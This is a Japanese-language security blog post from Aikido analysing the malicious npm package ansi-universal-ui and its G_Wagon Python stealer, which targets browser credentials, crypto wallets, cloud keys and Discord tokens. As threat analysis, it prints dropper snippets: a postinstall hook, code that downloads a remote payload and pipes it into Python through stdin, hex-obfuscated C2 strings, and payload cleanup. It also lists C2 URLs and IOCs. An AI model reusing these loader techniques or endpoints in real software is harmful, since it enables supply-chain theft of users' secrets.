Aikido

G_Wagon: npmパッケージが100以上の暗号資産ウォレットを標的とするPython Stealerを展開

執筆者
Charlie Eriksen

2026年1月23日UTC午前8時46分、当社のマルウェア検出システムが、あるパッケージを検出しました。 ansi-universal-ui。その名前は退屈なUIコンポーネントライブラリのように聞こえます。説明には「現代のウェブアプリケーション向けの、軽量でモジュール式のUIコンポーネントシステム」とあります。非常にプロフェッショナルで、ごく普通です。しかし、実際はそうではありません。

私たちが発見したのは、自身のPythonランタイムをダウンロードし、高度に難読化されたペイロードを実行し、ブラウザの認証情報、暗号資産ウォレット、クラウド認証情報、およびDiscordトークンをAppwriteストレージバケットへ窃取する、洗練された多段階のインフォスティーラーです。また、組み込みのWindows DLLを搭載しており、NTネイティブAPIを使用してブラウザプロセスにインジェクションされます。このマルウェアは内部的に「G_Wagon」と自称していますが、これはおそらく作者が高価なものを好むためでしょう。

リアルタイムでの攻撃の展開を監視する

これは興味深いものです。なぜなら、私たちは開発プロセス全体を見ることができるからです。攻撃者は2日間で10バージョンを公開し、各バージョンが物語の一部を語っています。

1日目(1月21日) - ドロッパーインフラストラクチャのテスト:

  • v1.0.0 (UTC 15:54): npmのtarモジュールを使用した初期スキャフォールド
  • v1.2.0 (UTC 16:03):システムtarに切り替え、最初の自己依存性
  • v1.3.2 (UTC 16:09): postinstallフックを追加(ペイロードはまだなし)
  • v1.3.3 (UTC 16:18):リダイレクトバグを修正

2日目(1月23日) - 兵器化:

  • v1.3.5 (UTC 08:46):C2 URLを追加、偽のブランディング、プレースホルダーを削除
  • v1.3.6 (UTC 08:53): 二重実行のために自己依存性を再有効化
  • v1.3.7 (UTC 09:09):アンチフォレンジックを追加、ログメッセージをサニタイズ
  • v1.4.0 (UTC 12:27): フランクフルトのC2に切り替え、ペイロードはstdinを介してパイプ処理される(ディスクに触れない)
  • v1.4.1 (UTC 12:48):難読化、16進数エンコードされた文字列、デコイUIクラスを追加
  • v1.4.2 (13:06 UTC): バグ修正 (v1.4.1でPythonパスに問題が発生しました)

攻撃者は活発に試行を繰り返しています。この投稿を執筆している間にも、彼らはさらに3つのバージョンをプッシュしました。

テストフェーズ

初期バージョン(1.0.0 から 1.3.3)にはすべて「 py.py 」というファイルが含まれており、その内容は以下の通りでした。

print("python code executed!")

それだけです。実行チェーンが機能したかをテストするための単なるプレースホルダーでした。攻撃者はインフラを構築していました。

v1.2.0では、興味深い変更が行われました。npm tarの依存関係が削除され、システムのtarコマンドを直接起動するように切り替えられました。

- const tar = require('tar');
+ const https = require('https');

- const extract = tar.x({ cwd: CACHE_DIR });
- response.body.pipe(extract);

+ const tarProcess = spawn('tar', ['-x', '-f', '-', '-C', CACHE_DIR]);
+ res.pipe(tarProcess.stdin);

なぜでしょうか?npmの依存関係が少ないということは、検出対象となる表面積が少ないことを意味します。また、npmから何もインストールすることなくパッケージが動作することも意味します。

しかし、彼らはバグを導入しました。リダイレクト処理が実際には機能しなかったのです。

if (res.statusCode === 302 || res.statusCode === 301) {
    downloadAndExtract().then(resolve).catch(reject); // BUG: forgot to pass the URL!
    return;
}

これはv1.3.3で修正されました。

if (res.statusCode === 302 || res.statusCode === 301) {
    const newUrl = res.headers.location;
    downloadAndExtract(newUrl).then(resolve).catch(reject); // Fixed
    return;
}

これが、1.3.31.3.5の間にバージョンギャップが見られる理由です。彼らはテストを行い、バグに遭遇し、それを修正し、機能することを確認した後、2日後に戻ってそれを悪用しました。

悪用

バージョン1.3.5ですべてが変わります。主要な差分を見てみましょう。

- const SCRIPT_PATH = path.join(__dirname, 'py.py');
+ const REMOTE_SCRIPT_URL = "https://nyc.cloud.appwrite.io/v1/storage/buckets/688625a0000f8a1b71e8/files/69732d9c000042399d88/view?project=6886229e003d46469fab";
+ const LOCAL_SCRIPT_PATH = path.join(CACHE_DIR, 'latest_script.py');

ローカルのプレースホルダーを実行する代わりに、Appwriteストレージバケットからペイロードをダウンロードするようになりました。

彼らはまた、最終バージョンで削除された意味深なコメントを追加しました。

// console.log("Fetching latest logic..."); // Uncomment if you want them to see this

攻撃者は明らかにオペレーションセキュリティを考慮していました。

偽のブランディング

バージョン1.3.5では、正当性も追加されました。package.jsonは次のように変更されました。

{
  "description": "A cross-platform tool powered by Python"
}

に:

{
  "description": "A lightweight, modular UI component system for modern web applications. Provides a responsive design engine and universal style primitives.",
  "keywords": ["ui", "design-system", "components", "framework", "frontend", "css-in-js"],
  "author": "Universal Design Team",
  "license": "MIT"
}

彼らは README.md バズワードでいっぱいの

Universal UIは、高性能なインターフェースレンダリングのために設計された宣言型コンポーネントプリミティブライブラリです。最新のアプリケーションアーキテクチャ全体で、ビジュアルステート、テーマ、レイアウトシステムを管理するための統合されたレイヤーを提供します。

そして、私のお気に入りは次のとおりです。

Virtual Rendering Engine: ステート変更時のスムーズな遷移と最小限の再描画を保証する、最適化された差分アルゴリズムです。

これらはすべて架空のものです。ThemeProviderは存在しません。Virtual Rendering Engineもありません。あるのはマルウェアだけです。

自己依存のトリック

v1.3.7のpackage.jsonをご覧ください。

{
  "scripts": {
    "postinstall": "node index.js"
  },
  "dependencies": {
    "ansi-universal-ui": "^1.3.5"
  }
}

このパッケージは自身に依存しています。バージョン1.3.7はバージョン^1.3.5を必要とします。npmがパッケージをインストールすると、postinstallフックが実行されます。その後、依存関係(自身の古いバージョン)をインストールし、これによりpostinstallフックが再度実行されます。二重実行です。

興味深いことに、これはv1.3.5で削除され、v1.3.6で再度追加されました。おそらく問題が発生するかどうかをテストしていたのでしょう。

フォレンジック対策

バージョン1.3.7では、実行後にペイロードを削除するためのクリーンアップコードが追加されました。

child.on('close', (code) => {
    try {
        if (fs.existsSync(LOCAL_SCRIPT_PATH)) {
            fs.unlinkSync(LOCAL_SCRIPT_PATH);
        }
    } catch (cleanupErr) {
        // Ignore cleanup errors
    }
    process.exit(code);
});

また、ログメッセージもサニタイズされました。

- console.log("Python環境をセットアップ中...");
+ console.log("UIランタイムを初期化中...");

Python環境をセットアップ中」は疑わしいです。「UIランタイムを初期化中」は、正当なUIライブラリがUIライブラリの処理を行っているように聞こえます。

進化を続ける:v1.4.x

このマルウェアを分析している間に、攻撃者はさらに2つのバージョンをプッシュしました。彼らは学習しています。

v1.4.0 重要な変更が加えられました。Pythonペイロードがディスクに触れなくなりました。ファイルにダウンロードして実行する代わりに、ドロッパーはC2からbase64エンコードされたPythonを取得し、メモリ内でデコードし、それを直接 python - 標準入力経由で:

e

const b64Content = await downloadString(REMOTE_B64_URL);
const pythonCode = Buffer.from(b64Content.trim(), 'base64').toString('utf-8');

const child = spawn(LOCAL_PYTHON_BIN, ['-'], { stdio: ['pipe', 'inherit', 'inherit'] });
child.stdin.write(pythonCode);
child.stdin.end();

削除するファイルはありません。痕跡も残りません。

v1.4.1では、難読化がさらに進みました。C2のURLは、16進数エンコードされたチャンクに分割されています。

const _ui_assets = [
    "68747470733a2f2f6672612e636c6f75642e61707077726974652e696f2f...",
    "3639363865613536303033313663313238663232",
    "2f66696c65732f",
    "363937333638333830303333343933353735373..."
];
const _gfx_src = _ui_assets.map(s => Buffer.from(s, 'hex').toString()).join('');

彼らはまた、デコイクラスを追加し、コードが実際のUIライブラリのように見えるようにしました。

class LayoutCompute {
    constructor() { this.matrix = new Float32Array(16); this.x = 0; }
    mount(v) { return (v << 2) ^ 0xAF; }
    sync() { this.x = Math.sin(Date.now()) * 100; return this.x > 0; }
}

ディレクトリは以下からリネームされました python_runtime to lib_core/renderer。変数も pythonCode となりました _texture_data。関数も setupPython となりました _init_layer。すべてがグラフィックレンダリングコードのように聞こえるようになりました。

また、彼らはNYCエンドポイントを放棄し、Frankfurt C2サーバーに排他的に切り替えました。

v1.4.2は18分後にリリースされました。彼らは何かを壊しました。コード内のコメントがすべてを物語っています。

// FIXED: Changed 'renderer' back to 'python' (hex encoded) so it matches the tarball structure

In v1.4.1、彼らは審美的な難読化のためにディレクトリを「renderer」にリネームしましたが、Pythonのtarballは「」というフォルダーに展開されます。 python。おっと。マルウェアは動作しなかったでしょう。 v1.4.2 は、hex encodingを維持しつつこれを修正します。

ステージ2: G_Wagon Stealer

Pythonペイロードは、事態が面白くなる部分です。コードは1文字の変数名と文字列定数で難読化されていますが、内容を読み解けばその機能は明確です。

マルウェアが最初に行うのは、「」というファイルをチェックすることです。 .gwagon_status ホームディレクトリに。このファイルにはカウンターが含まれています。すでに2回感染している場合、実行を停止します。同じデータを繰り返し盗む必要はありません。

その後、動作を開始します。

ブラウザの認証情報: この情報窃取マルウェアは、WindowsとmacOSの両方でChrome、Edge、Braveを標的とします。Windowsでは、ブラウザプロセスを終了させ、Chrome DevTools Protocolを有効にした新しいインスタンスを生成し、すべてのCookieを抽出します。また、Windows Data Protection APIを使用して保存されたパスワードを復号します。macOSでは、Keychainから暗号化キーを抽出し、OpenSSLを使用してログインデータを復号します。

暗号通貨ウォレット: これが真の標的です。マルウェアは100以上のブラウザウォレット拡張機能を標的にしています。MetaMask、Phantom、Coinbase Wallet、Trust Wallet、Ledger Live、Trezor、Exodusなど、数十種類に及びます。見つかった各ウォレットの拡張機能データディレクトリ全体をコピーします。

全リストには、Ethereum、Solana、Cosmos、Polkadot、Cardano、TON、Bitcoin Ordinals、その他考えられるほぼすべてのブロックチェーンエコシステムのウォレットが含まれます。

クラウド認証情報: マシンでAWS CLI、Azure CLI、またはGoogle Cloud SDKを設定したことがある場合、マルウェアは認証情報ファイルをコピーします。SSHキーとkubeconfigについても同様です。単一のzipファイルでアクセス可能になる可能性のある、クラウドインフラ全体が標的となります。

メッセージングトークンDiscordトークンの窃取は長年にわたりnpmマルウェアの常套手段となっており、G_Wagonも期待を裏切りません。Telegramの tdata ディレクトリとSteam認証ファイルも取得します。

データ流出

窃取されたすべてのデータはZIP圧縮され、攻撃者のAppwriteバケットにアップロードされます。ファイル名は以下のパターンに従います。 {username}@{hostname}_{browser}_{profile}_{original_file}.

このマルウェアには2つのC2サーバーが設定されています。

  • プライマリ: nyc.cloud.appwrite[.]io (プロジェクトID: 6886229e003d46469fab)
  • バックアップ: fra.cloud.appwrite[.]io (プロジェクトID: 6968e9e9000ee4ac710c)

大容量ファイルの場合、データは5MBのチャンクに分割され、順次アップロードされます。50MBを超えるファイルは45MBのパーツに分割されます。作者は、大量の貴重なデータを持つ被害者を明確に想定していました。

DLLインジェクション

このスティーラーを際立たせるもう一つの要素があります。Pythonコードには、XOR暗号化されたWindows DLLである、大量のBase64エンコードされたブロブが含まれています。

c='+qmQZ9cVqpo....=='  # 簡潔にするため編集済み - 実際のブロブははるかに大きい

コードはこれをBase64デコードし、ハードコードされたキーでXOR復号化し、その後、NTネイティブAPIを使用してブラウザプロセスにインジェクションします。 NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory、および NtCreateThreadEx.

このマルウェアには、エクスポートテーブルを走査して「Initialize」という名前の関数を探す完全なPEパーサーが搭載されています。それがインジェクション後に呼び出すエントリポイントです。

対策と検出

インストールしている場合 ansi-universal-ui、直ちに行うべきことは以下の通りです。

  1. プロジェクトからパッケージを削除し、node_modulesを削除します
  2. を確認します .gwagon_status ファイルがホームディレクトリに存在するか確認します(存在する場合、感染している可能性があります)
  3. ブラウザに保存されているすべてのパスワードをローテーションします
  4. ブラウザ拡張機能としてインストールされているすべての仮想通貨ウォレットのトークンを失効させ、再生成します(侵害されていると見なしてください)
  5. AWS/Azure/GCPのCLIを使用している場合は、認証情報をローテーションします
  6. SSHキーを再生成します
  7. DiscordおよびTelegramのセッションを無効にします

Aikidoを使用して影響を受けているかどうかを確認する方法:

Aikidoユーザーの場合、中央フィードを確認し、マルウェアの問題でフィルタリングしてください。この脆弱性は、フィード内で100/100のクリティカルな問題として表示されます。ヒント:Aikidoはリポジトリを毎晩再スキャンしますが、フルスキャンもトリガーすることをお勧めします。

Aikidoユーザーでない場合は、アカウントを設定し、リポジトリを接続してください。独自のマルウェアカバレッジは無料プランに含まれており、クレジットカードは不要です。

将来的な保護のため、npm、npx、yarn、その他のパッケージマネージャー向けのセキュアなラッパーであるオープンソースのAikido Safe Chainのご利用をご検討ください。Safe Chainは現在のワークフローに組み込まれます。これは、npm、npx、yarn、pnpm、およびpnpxコマンドを傍受し、インストール前にパッケージを当社のオープンソース脅威インテリジェンスフィードであるAikido Intelに対してマルウェアがないか検証することで機能します。脅威がマシンに到達する前に阻止しましょう。

侵害の痕跡

パッケージ

  • 名前: ansi-universal-ui
  • 悪意のあるバージョン: 1.3.51.3.61.3.71.4.01.4.1

ファイルハッシュ (SHA256)

  • v1.0.0 index.js: 7de334b0530e168fcf70335aa73a26a0b483e864c415d02980fe5e6b07f6af85
  • v1.2.0 index.js: 00f1e82321a400fa097fc47edc1993203747223567a2a147ed458208376e39a1
  • v1.3.2 index.js: 00f1e82321a400fa097fc47edc1993203747223567a2a147ed458208376e39a1 (同一) v1.2.0)
  • v1.3.3 index.js: 1979bf6ff76d2adbd394e1288d75ab04abfb963109e81294a28d0629f90b77c7
  • v1.3.5 index.js: ecde55186231f1220218880db30d704904dd3ff6b3096c745a1e15885d6e99cc (悪意のある)
  • v1.3.6 index.js: ecde55186231f1220218880db30d704904dd3ff6b3096c745a1e15885d6e99cc (同一) v1.3.5、悪意のある)
  • v1.3.7 index.js: eb19a25480916520aecc30c54afdf6a0ce465db39910a5c7a01b1b3d1f693c4c (悪意のある)
  • v1.4.0 index.js: ff514331b93a76c9bbf1f16cdd04e79c576d8efd0d3587cb3665620c9bf49432 (悪意のある)
  • v1.4.1 index.js: a576844e131ed6b51ebdfa7cd509233723b441a340529441fb9612f226fafe52 (悪意のある)
  • py.py (全バージョン): e25f5d5b46368ed03562625b53efd24533e20cd1d42bc64b1ebf041cacab8941

注: v1.3.5 そして v1.3.6 同一の index.js ファイル(のみ package.json 変更されました)。 v1.2.0 そして v1.3.2 も同一です(postinstallフックのみが追加されました)。

ネットワーク

  • hxxps://nyc.cloud.appwrite[.]io/v1/storage/buckets/688625a0000f8a1b71e8/files/69732d9c000042399d88/view?project=6886229e003d46469fab (v1.3.x)
  • hxxps://fra.cloud.appwrite[.]io/v1/storage/buckets/6968ea5600316c128f22/files/69736838003349357574/view?project=6968e9e9000ee4ac710c (v1.4.x)
  • Appwrite Project ID(NYC): 6886229e003d46469fab
  • Appwrite Project ID(FRA): 6968e9e9000ee4ac710c
  • Appwrite Bucket ID(NYC): 688625a0000f8a1b71e8
  • Appwrite Bucket ID(FRA): 6968ea5600316c128f22

ファイルシステム

  • ~/.gwagon_status (実行カウンター、Windowsでは非表示)

共有:

https://www.aikido.dev/blog/npm-malware-g-wagon-python-stealer-crypto-wallets

脅威ニュースをサブスクライブ

今日から無料で始めましょう。

無料で始める
CC不要
4.7/5
誤検知にうんざりしていませんか?

試してみてください Aikido 10万人以上が実践中
今すぐ始める
パーソナライズされたウォークスルーを入手する

10万以上のチームに信頼されています

今すぐ予約
アプリをスキャンして、IDOR(内部データ操作脆弱性)と実際の攻撃経路を検出する

10万以上のチームに信頼されています

スキャンを開始
AIがアプリをペネトレーションテストする様子をご覧ください

10万以上のチームに信頼されています

テストを開始

今すぐ、安全な環境へ。

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要です | スキャン結果は32秒で表示されます。